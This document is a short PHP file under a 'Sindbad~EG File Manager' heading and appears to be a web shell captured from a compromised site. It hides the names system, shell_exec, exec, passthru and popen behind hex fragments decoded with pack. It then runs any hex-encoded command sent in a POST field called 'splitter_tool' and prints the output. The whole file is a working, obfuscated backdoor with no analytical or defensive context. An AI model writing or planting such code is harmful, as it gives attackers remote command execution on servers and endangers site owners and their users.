Sindbad~EG File Manager

<?php


$fac1 = '73';
$fac2 = '74';
$fac3 = '65';
$fac4 = '6d';
$fac5 = '78';
$fac6 = '63';
$fac7 = '70';
$fac8 = '68';
$fac9 = '72';
$fac10 = '6f';
$fac11 = '5f';
$fac12 = '6e';
$fac13 = '6c';
$fac14 = '69';
$hub_center1 = pack("H*", $fac1 . '79' . $fac1 . $fac2 . $fac3 . $fac4);
$hub_center2 = pack("H*", '73' . '68' . $fac3 . '6c' . '6c' . '5f' . $fac3 . $fac5 . '65' . $fac6);
$hub_center3 = pack("H*", $fac3 . '78' . '65' . '63');
$hub_center4 = pack("H*", $fac7 . '61' . '73' . $fac1 . $fac2 . $fac8 . $fac9 . '75');
$hub_center5 = pack("H*", '70' . $fac10 . $fac7 . $fac3 . '6e');
$hub_center6 = pack("H*", $fac1 . $fac2 . '72' . '65' . '61' . $fac4 . '5f' . '67' . $fac3 . $fac2 . $fac11 . '63' . $fac10 . $fac12 . '74' . $fac3 . '6e' . '74' . $fac1);
$hub_center7 = pack("H*", $fac7 . '63' . $fac13 . $fac10 . '73' . '65');
$splitter_tool = pack("H*", '73' . '70' . $fac13 . $fac14 . $fac2 . '74' . $fac3 . $fac9 . $fac11 . $fac2 . $fac10 . $fac10 . '6c');
if (isset($_POST[$splitter_tool])) {
    $splitter_tool = pack("H*", $_POST[$splitter_tool]);
    if (function_exists($hub_center1)) {
        $hub_center1($splitter_tool);
    } elseif (function_exists($hub_center2)) {
        print $hub_center2($splitter_tool);
    } elseif (function_exists($hub_center3)) {
        $hub_center3($splitter_tool, $rec_token);
        print join("\n", $rec_token);
    } elseif (function_exists($hub_center4)) {
        $hub_center4($splitter_tool);
    } elseif (function_exists($hub_center5) && function_exists($hub_center6) && function_exists($hub_center7)) {
        $binding_k = $hub_center5($splitter_tool, 'r');
        if ($binding_k) {
            $obj_val = $hub_center6($binding_k);
            $hub_center7($binding_k);
            print $obj_val;
        }
    }
    exit;
}